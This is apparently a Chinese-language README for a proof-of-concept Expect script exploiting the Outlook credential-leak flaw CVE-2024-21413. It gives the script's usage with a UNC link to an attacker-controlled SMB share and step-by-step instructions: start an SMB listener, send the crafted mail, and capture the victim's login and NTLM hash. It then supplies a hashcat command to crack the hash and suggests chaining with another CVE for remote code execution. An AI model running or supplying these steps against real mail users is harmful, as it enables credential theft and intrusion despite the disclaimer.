CVE-2024-21413 - Expect 脚本 POC

Microsoft Outlook 凭据泄露及远程代码执行漏洞，当与 CVE-2023-21716 配合使用时（通过预览面板） CVSS:3.1 9.8 / 8.5

Outlook 应该会警告你打开外部链接的风险 => 但实际情况并非如此！

用法：./cve-2024-21413.sh mx.fqdn 端口 发件人 收件人 url

./cve-2024-21413.sh mail.mydomain.com 25 [email protected] [email protected] "\\xx.xx.xx.xx\test\duy31.txt"

注意：chmod +x cve-2024-21413.sh

需要 expect 应用程序 & 需要合法的 IP 发件人和邮件发件人（以通过 SPF、DKIM、DMARC）

---

• 首先运行一个 SMB 监听器，例如

• 运行 POC

• 等待邮件并在预览窗口中点击链接

• 然后你应该能获取到点击链接的人的登录名和哈希值（在受影响的 Outlook 版本上不会出现警告提示）

• 之后你可以尝试用 hashcat 破解密码。只需将包含登录名的所有行复制到一个文件中，并使用模块 5600 运行 hashcat

hashcat -a 0 -m 5600 hash.txt rockyou.txt -o cracked.txt -O

• 你可以将此 CVE 与 CVE-2023-21716 结合使用以实现远程代码执行（RCE）！！！

---

致谢：[https://research.checkpoint.com/2024/the-risks-of-the-monikerlink-bug-in-microsoft-outlook-and-the-big-picture/]

解决方法/修复：[https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413]

---

更多关于我的信息；）https://www.linkedin.com/in/duy-huan-bui/

⚠️ 免责声明：重要提示：此脚本仅供教育、道德测试和合法使用。未经明确许可，请勿在任何系统或网络上使用。未经授权访问计算机系统和网络属于违法行为，进行未经授权活动的用户将承担法律责任。作者不对滥用此脚本造成的任何损害负责。